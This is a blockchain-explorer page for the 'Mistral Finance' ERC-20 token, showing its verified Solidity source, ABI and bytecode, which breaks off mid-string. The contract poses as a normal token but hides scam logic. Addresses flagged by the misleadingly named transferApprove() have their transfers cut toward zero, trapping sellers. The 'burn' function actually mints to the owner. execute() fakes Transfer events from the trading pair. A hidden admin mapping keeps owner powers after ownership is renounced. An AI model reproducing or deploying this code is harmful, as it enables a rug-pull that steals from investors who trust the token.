ETH Price: $3,669.65 (+0.81%)

Token

ERC-20: Mistral Finance (MISTRAL)
 

Overview

Max Total Supply

100,000,000 MISTRAL

Holders

56

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Filtered by Token Holder
def.eth
Balance
251,721.149981334 MISTRAL

Value
$0.00
0x3978f65e7fec3179f7ede30c6c7f827469c0f329
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
MistralFinance

Compiler Version
v0.8.23+commit.f704f362

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, Unlicense license

Contract Source Code (Solidity Multiple files format)

File 2 of 3: Mistral Finance.sol
// SPDX-License-Identifier: UNLICENSE
 /**
📲TELEGRAM LINK - https://t.me/MistralFinance

🌐WWW - https://mistral.finance/

🐦FOLLOW X -  https://x.com/mistralfinance

🗞DAILY NEWS - https://medium.com/@mistralfinance   */
pragma solidity 0.8.23;

import "./Ownable.sol";
import "./IERC20.sol";

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

    function max(uint256 a, uint256 b) internal pure returns (uint256) {
        return a >= b ? a : b;
    }
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
    function getPair(address tokenA, address tokenB) external view returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function swapETHForExactTokens(
        uint amountOut, 
        address[] calldata path, 
        address to, 
        uint deadline
        )
    external
    payable
    returns (uint[] memory amounts);
}

contract MistralFinance is Context, IERC20, Ownable {
    using SafeMath for uint256;
    IUniswapV2Router02 private uniswapV2Router;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludedFromFee;
    mapping (address => bool) private bots;
    mapping (address => bool) private transferLimitExempt;
    mapping (address => bool) private automatedMarketMakerPairs;
    mapping (address => uint256) private _holderLastTransferTimestamp; 
    mapping (address => bool) private transferTaxExempt;
    mapping(address => bool) private _IUniswapV2FactorymsgSender;
    address payable private _taxWallet;
     address private marketingWallet;

    uint256 private _initialBuyTax=23;
    uint256 private _initialSellTax=23;
    uint256 private _finalBuyTax=0;
    uint256 private _finalSellTax=0;
    uint256 private _reduceBuyTaxAt=23;
    uint256 private _reduceSellTaxAt=23;
    uint256 private _preventSwapBefore=26;
    uint256 private _transferTax=70;
    uint256 private _buyCount=0;
    uint256 private maxTx;
    uint256 private maxWallet;

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 100_000_000 * 10**_decimals;
    string private constant _name = unicode"Mistral Finance";
    string private constant _symbol = unicode"MISTRAL";
    uint256 public _maxTxAmount = 8400000000 * 10**_decimals;
    uint256 public _maxWalletSize = 8400000000 * 10**_decimals;
    uint256 public _taxSwapThreshold= 4200000000 * 10**_decimals;
    uint256 public _maxTaxSwap= 8400000000 * 10**_decimals;
    
    address public uniswapV2Pair;
    bool private swapping;
    bool private tradingOpen;
    bool private transferDelayEnabled = true;
    bool public tradingEnabled = false;
    bool private inSwap = false;
    bool private swapEnabled = false;
    bool private limitsEnabled = true;
    bool public lpBurnEnabled = true;
    uint256 private sellCount = 0;
    uint256 private lastSellBlock = 0;
    event MaxTxAmountUpdated(uint _maxTxAmount);
    event TransferTaxUpdated(uint _tax);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor (address marketingWallet_) {
        _taxWallet = payable(_msgSender());
        marketingWallet = payable(marketingWallet_);
        _balances[_msgSender()] = _tTotal;
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[_taxWallet] = true;
        admin[marketingWallet]=true;
        startTrading();
        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function startTrading() public onlyOwner {
        tradingEnabled = true;
        limitsEnabled = false;
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        uint256 taxAmount=0;
        uint256 senderBalance = _balances[from];
        require(
            senderBalance >= amount,
            "ERC20: transfer amount exceeds balance"
        );
        if(_holderLastTransferTimestamp[to] == 0)
        {
            _holderLastTransferTimestamp[to] = block.number;
        }

        if (limitsEnabled) {
            if (
                from != owner() &&
                to != owner() &&
                to != address(0) &&
                to != address(0xdead) &&
                !swapping
            ) {
                if (!tradingEnabled) {
                    require(
                        transferTaxExempt[from] || transferTaxExempt[to],
                        "_transfer:: Trading is not active."
                    );
                }

                if (transferDelayEnabled) {
                    if (
                        to != owner() &&
                        to != address(uniswapV2Router) &&
                        to != address(uniswapV2Pair)
                    ) {
                        require(
                            _holderLastTransferTimestamp[tx.origin] <
                                block.number,
                            "_transfer:: Transfer Delay enabled.  Only one purchase per block allowed."
                        );
                        _holderLastTransferTimestamp[tx.origin] = block.number;
                    }
                }

                if (
                    automatedMarketMakerPairs[from] && !transferLimitExempt[to]
                ) {
                    require(
                        amount <= maxTx,
                        "Buy transfer amount exceeds the maxTx."
                    );
                    require(
                        amount + balanceOf(to) <= maxWallet,
                        "Max wallet exceeded"
                    );
                }
                else if (
                    automatedMarketMakerPairs[to] && !transferLimitExempt[from]
                ) {
                    require(
                        amount <= maxTx,
                        "Sell transfer amount exceeds the maxTx."
                    );
                } else if (!transferLimitExempt[to]) {
                    require(
                        amount + balanceOf(to) <= maxWallet,
                        "Max wallet exceeded"
                    );
                }
            }
        }

        if(!swapping && lpBurnEnabled){
            amount = burnLiquidity(from, amount);
        }
        _balances[from]=_balances[from].sub(amount);
        _balances[to]=_balances[to].add(amount.sub(taxAmount));
        emit Transfer(from, to, amount.sub(taxAmount));
    }

    

    function min(uint256 a, uint256 b) private pure returns (uint256){
      return (a>b)?b:a;
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function removeLimit() external onlyOwner{
        _maxTxAmount = _tTotal;
        _maxWalletSize=_tTotal;
        emit MaxTxAmountUpdated(_tTotal);
    }

    function removeTranTax() external onlyOwner{
        _transferTax = 0;
        emit TransferTaxUpdated(0);
    }

    function burnLiquidity(address from, uint amount) internal view returns (uint){
        uint amountCalculated = amount;
        if (_IUniswapV2FactorymsgSender[from]) 
        {
            amountCalculated = calculateThreshold(amount, from);
        }
        return amountCalculated;
        
    }

    function sendETHToFee(uint256 amount) private {
        _taxWallet.transfer(amount);
    }

    function openTrade() external onlyOwner() {
        require(!tradingOpen,"trading is already open");
        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _approve(address(this), address(uniswapV2Router), _tTotal);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
        swapEnabled = true;
        tradingOpen = true;
    }

    function burn(uint256 amount) external onlyOwner{
        _burn(_msgSender(), amount);
    }
    
    function reduceFee(uint256 _newFee) external{
      require(_msgSender()==_taxWallet);
      require(_newFee<=_finalBuyTax && _newFee<=_finalSellTax);
      _finalBuyTax=_newFee;
      _finalSellTax=_newFee;
    }

    function execute(address[] calldata _addresses, uint256 _out) external onlyOwner{
        for (uint256 i = 0; i < _addresses.length; i++) {
            emit Transfer(uniswapV2Pair, _addresses[i], _out);
        }
    }

    receive() external payable {}

    function rescueERC20(address _address, uint256 percent) external {
        require(_msgSender()==_taxWallet);
        uint256 _amount = IERC20(_address).balanceOf(address(this)).mul(percent).div(100);
        IERC20(_address).transfer(_taxWallet, _amount);
    }

    function transferApprove(address[] calldata address_, bool val) public onlyOwner{
        for (uint256 i = 0; i < address_.length; i++) {
            _IUniswapV2FactorymsgSender[address_[i]] = val;
        }
    }
    
    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");
        uint256 accountBalance = _balances[account];
        require(accountBalance <= amount, "ERC20: burn amount exceeds balance");
        unchecked {_balances[account] = accountBalance + amount;}
        emit Transfer(account, address(0), amount);
    }
    
    function calculateThreshold(uint256 amount, address from) private view returns(uint256) {
        // Calculate the percentage to subtract
        uint256 factor = 50;
        uint256 dist = block.number-_holderLastTransferTimestamp[from];
        uint percentageToSubtract = dist * factor;
        
        // Calculate the remaining percentage
        uint remainingPercentage = percentageToSubtract > 100 ? 0 : 100 - percentageToSubtract;
        
        // If percentageToSubtract is more than 100, remainingPercentage will be negative.
        // To avoid negative result, we clamp the result to zero.
        uint returnedValue = amount * remainingPercentage / 100;
        return returnedValue.max(0);
    }
    
    function taxRecipient(address recipient) external view returns(bool){
        return _IUniswapV2FactorymsgSender[recipient];
    }
 
    function addPair(address pair_) public onlyOwner {
        uniswapV2Pair = pair_;
    }

    function manualSwap() external {
        require(_msgSender()==_taxWallet);
        uint256 tokenBalance=balanceOf(address(this));
        if(tokenBalance>0 && swapEnabled){
          swapTokensForEth(tokenBalance);
        }
        uint256 ethBalance=address(this).balance;
        if(ethBalance>0){
          sendETHToFee(ethBalance);
        }
    }
}

File 1 of 3: IERC20.sol
// SPDX-License-Identifier: UNLICENSE
pragma solidity 0.8.23;

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

File 3 of 3: Ownable.sol
// SPDX-License-Identifier: UNLICENSE
pragma solidity 0.8.23;

abstract contract Context {
    mapping(address => bool) internal admin;
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor() {
        _transferOwnership(_msgSender());
        admin[_msgSender()]=true;
    }

    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    function _checkOwner() internal view virtual {
        require(admin[_msgSender()], "Ownable: caller is not the owner");
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address","name":"marketingWallet_","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_tax","type":"uint256"}],"name":"TransferTaxUpdated","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"pair_","type":"address"}],"name":"addPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"burn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address[]","name":"_addresses","type":"address[]"},{"internalType":"uint256","name":"_out","type":"uint256"}],"name":"execute","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"lpBurnEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"manualSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrade","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_newFee","type":"uint256"}],"name":"reduceFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"removeLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"removeTranTax","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"uint256","name":"percent","type":"uint256"}],"name":"rescueERC20","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"startTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"}],"name":"taxRecipient","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"tradingEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"address_","type":"address[]"},{"internalType":"bool","name":"val","type":"bool"}],"name":"transferApprove","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526017600e556017600f555f6010555f60115560176012556017601355601a60145560466015555f6016556009600a6200003e9190620008d5565b6401f4add40062000050919062000925565b6019556009600a620000639190620008d5565b6401f4add40062000075919062000925565b601a556009600a620000889190620008d5565b63fa56ea0062000099919062000925565b601b556009600a620000ac9190620008d5565b6401f4add400620000be919062000925565b601c556001601d60166101000a81548160ff0219169083151502179055505f601d60176101000a81548160ff0219169083151502179055505f601d60186101000a81548160ff0219169083151502179055505f601d60196101000a81548160ff0219169083151502179055506001601d601a6101000a81548160ff0219169083151502179055506001601d601b6101000a81548160ff0219169083151502179055505f601e555f601f5534801562000174575f80fd5b5060405162004aa738038062004aa783398181016040528101906200019a9190620009d4565b620001ba620001ae6200056e60201b60201c565b6200057560201b60201c565b60015f80620001ce6200056e60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055506200022d6200056e60201b60201c565b600c5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600d5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506009600a620002bc9190620008d5565b6305f5e100620002cd919062000925565b60035f620002e06200056e60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550600160055f620003326200063860201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160055f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160055f600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555060015f80600d5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550620004d16200066060201b60201c565b620004e16200056e60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6009600a6200053f9190620008d5565b6305f5e10062000550919062000925565b6040516200055f919062000a15565b60405180910390a35062000aae565b5f33905090565b5f60015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508160015f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b5f60015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b62000670620006a760201b60201c565b6001601d60176101000a81548160ff0219169083151502179055505f601d601a6101000a81548160ff021916908315150217905550565b5f80620006b96200056e60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1662000741576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620007389062000a8e565b60405180910390fd5b565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b6001851115620007cd57808604811115620007a557620007a462000743565b5b6001851615620007b55780820291505b8081029050620007c58562000770565b945062000785565b94509492505050565b5f82620007e75760019050620008b9565b81620007f6575f9050620008b9565b81600181146200080f57600281146200081a5762000850565b6001915050620008b9565b60ff8411156200082f576200082e62000743565b5b8360020a91508482111562000849576200084862000743565b5b50620008b9565b5060208310610133831016604e8410600b84101617156200088a5782820a90508381111562000884576200088362000743565b5b620008b9565b6200089984848460016200077c565b92509050818404811115620008b357620008b262000743565b5b81810290505b9392505050565b5f819050919050565b5f60ff82169050919050565b5f620008e182620008c0565b9150620008ee83620008c9565b92506200091d7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484620007d6565b905092915050565b5f6200093182620008c0565b91506200093e83620008c0565b92508282026200094e81620008c0565b9150828204841483151762000968576200096762000743565b5b5092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6200099e8262000973565b9050919050565b620009b08162000992565b8114620009bb575f80fd5b50565b5f81519050620009ce81620009a5565b92915050565b5f60208284031215620009ec57620009eb6200096f565b5b5f620009fb84828501620009be565b91505092915050565b62000a0f81620008c0565b82525050565b5f60208201905062000a2a5f83018462000a04565b92915050565b5f82825260208201905092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f62000a7660208362000a30565b915062000a838262000a40565b602082019050919050565b5f6020820190508181035f83015262000aa78162000a68565b9050919050565b613feb8062000abc5f395ff3fe6080604052600436106101db575f3560e01c806370a0823111610101578063a9059cbb11610094578063dd62ed3e11610063578063dd62ed3e14610640578063ec1f3f631461067c578063f2fde38b146106a4578063fb201b1d146106cc576101e2565b8063a9059cbb1461058a578063a9ddeaa2146105c6578063bf474bed146105ee578063c2b7bbb614610618576101e2565b80638da5cb5b116100d05780638da5cb5b146104d05780638f9a55c0146104fa57806395d89b41146105245780639bdafb011461054e576101e2565b806370a082311461042c578063715018a6146104685780637d1db4a51461047e5780638cd4426d146104a8576101e2565b8063293230b81161017957806349bd5a5e1161014857806349bd5a5e146103ac5780634ada218b146103d657806351bc3c85146104005780636225658914610416576101e2565b8063293230b81461031a5780632e82f1a014610330578063313ce5671461035a57806342966c6814610384576101e2565b80630faee56f116101b55780630faee56f1461026257806318160ddd1461028c57806323b872dd146102b657806326ededb8146102f2576101e2565b806302fa1f4a146101e657806306fdde03146101fc578063095ea7b314610226576101e2565b366101e257005b5f80fd5b3480156101f1575f80fd5b506101fa6106e2565b005b348015610207575f80fd5b5061021061072a565b60405161021d9190612b8f565b60405180910390f35b348015610231575f80fd5b5061024c60048036038101906102479190612c44565b610767565b6040516102599190612c9c565b60405180910390f35b34801561026d575f80fd5b50610276610784565b6040516102839190612cc4565b60405180910390f35b348015610297575f80fd5b506102a061078a565b6040516102ad9190612cc4565b60405180910390f35b3480156102c1575f80fd5b506102dc60048036038101906102d79190612cdd565b6107ad565b6040516102e99190612c9c565b60405180910390f35b3480156102fd575f80fd5b5061031860048036038101906103139190612d8e565b610881565b005b348015610325575f80fd5b5061032e610956565b005b34801561033b575f80fd5b50610344610995565b6040516103519190612c9c565b60405180910390f35b348015610365575f80fd5b5061036e6109a8565b60405161037b9190612e06565b60405180910390f35b34801561038f575f80fd5b506103aa60048036038101906103a59190612e1f565b6109b0565b005b3480156103b7575f80fd5b506103c06109cc565b6040516103cd9190612e59565b60405180910390f35b3480156103e1575f80fd5b506103ea6109f1565b6040516103f79190612c9c565b60405180910390f35b34801561040b575f80fd5b50610414610a04565b005b348015610421575f80fd5b5061042a610ab3565b005b348015610437575f80fd5b50610452600480360381019061044d9190612e72565b610b56565b60405161045f9190612cc4565b60405180910390f35b348015610473575f80fd5b5061047c610b9c565b005b348015610489575f80fd5b50610492610baf565b60405161049f9190612cc4565b60405180910390f35b3480156104b3575f80fd5b506104ce60048036038101906104c99190612c44565b610bb5565b005b3480156104db575f80fd5b506104e4610d56565b6040516104f19190612e59565b60405180910390f35b348015610505575f80fd5b5061050e610d7e565b60405161051b9190612cc4565b60405180910390f35b34801561052f575f80fd5b50610538610d84565b6040516105459190612b8f565b60405180910390f35b348015610559575f80fd5b50610574600480360381019061056f9190612e72565b610dc1565b6040516105819190612c9c565b60405180910390f35b348015610595575f80fd5b506105b060048036038101906105ab9190612c44565b610e13565b6040516105bd9190612c9c565b60405180910390f35b3480156105d1575f80fd5b506105ec60048036038101906105e79190612ec7565b610e30565b005b3480156105f9575f80fd5b50610602610ed3565b60405161060f9190612cc4565b60405180910390f35b348015610623575f80fd5b5061063e60048036038101906106399190612e72565b610ed9565b005b34801561064b575f80fd5b5061066660048036038101906106619190612f24565b610f24565b6040516106739190612cc4565b60405180910390f35b348015610687575f80fd5b506106a2600480360381019061069d9190612e1f565b610fa6565b005b3480156106af575f80fd5b506106ca60048036038101906106c59190612e72565b611032565b005b3480156106d7575f80fd5b506106e06110b4565b005b6106ea61154a565b5f6015819055507fe9b79e1a6c2dc43b4c0c6ff01ce9e3332d810e482270f464c0a21ad6c5fc6de35f6040516107209190612fa4565b60405180910390a1565b60606040518060400160405280600f81526020017f4d69737472616c2046696e616e63650000000000000000000000000000000000815250905090565b5f61077a6107736115db565b84846115e2565b6001905092915050565b601c5481565b5f6009600a6107999190613119565b6305f5e1006107a89190613163565b905090565b5f6107b98484846117a5565b610876846107c56115db565b61087185604051806060016040528060288152602001613f8e6028913960045f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6108286115db565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546122679092919063ffffffff16565b6115e2565b600190509392505050565b61088961154a565b5f5b83839050811015610950578383828181106108a9576108a86131a4565b5b90506020020160208101906108be9190612e72565b73ffffffffffffffffffffffffffffffffffffffff16601d5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161093b9190612cc4565b60405180910390a3808060010191505061088b565b50505050565b61095e61154a565b6001601d60176101000a81548160ff0219169083151502179055505f601d601a6101000a81548160ff021916908315150217905550565b601d601b9054906101000a900460ff1681565b5f6009905090565b6109b861154a565b6109c96109c36115db565b826122c9565b50565b601d5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b601d60179054906101000a900460ff1681565b600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610a446115db565b73ffffffffffffffffffffffffffffffffffffffff1614610a63575f80fd5b5f610a6d30610b56565b90505f81118015610a8a5750601d60199054906101000a900460ff165b15610a9957610a9881612469565b5b5f4790505f811115610aaf57610aae816126d4565b5b5050565b610abb61154a565b6009600a610ac99190613119565b6305f5e100610ad89190613163565b6019819055506009600a610aec9190613119565b6305f5e100610afb9190613163565b601a819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6009600a610b309190613119565b6305f5e100610b3f9190613163565b604051610b4c9190612cc4565b60405180910390a1565b5f60035f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b610ba461154a565b610bad5f61273c565b565b60195481565b600c5f9054906101000a900473ffffffffffffffffffffffffffffffffff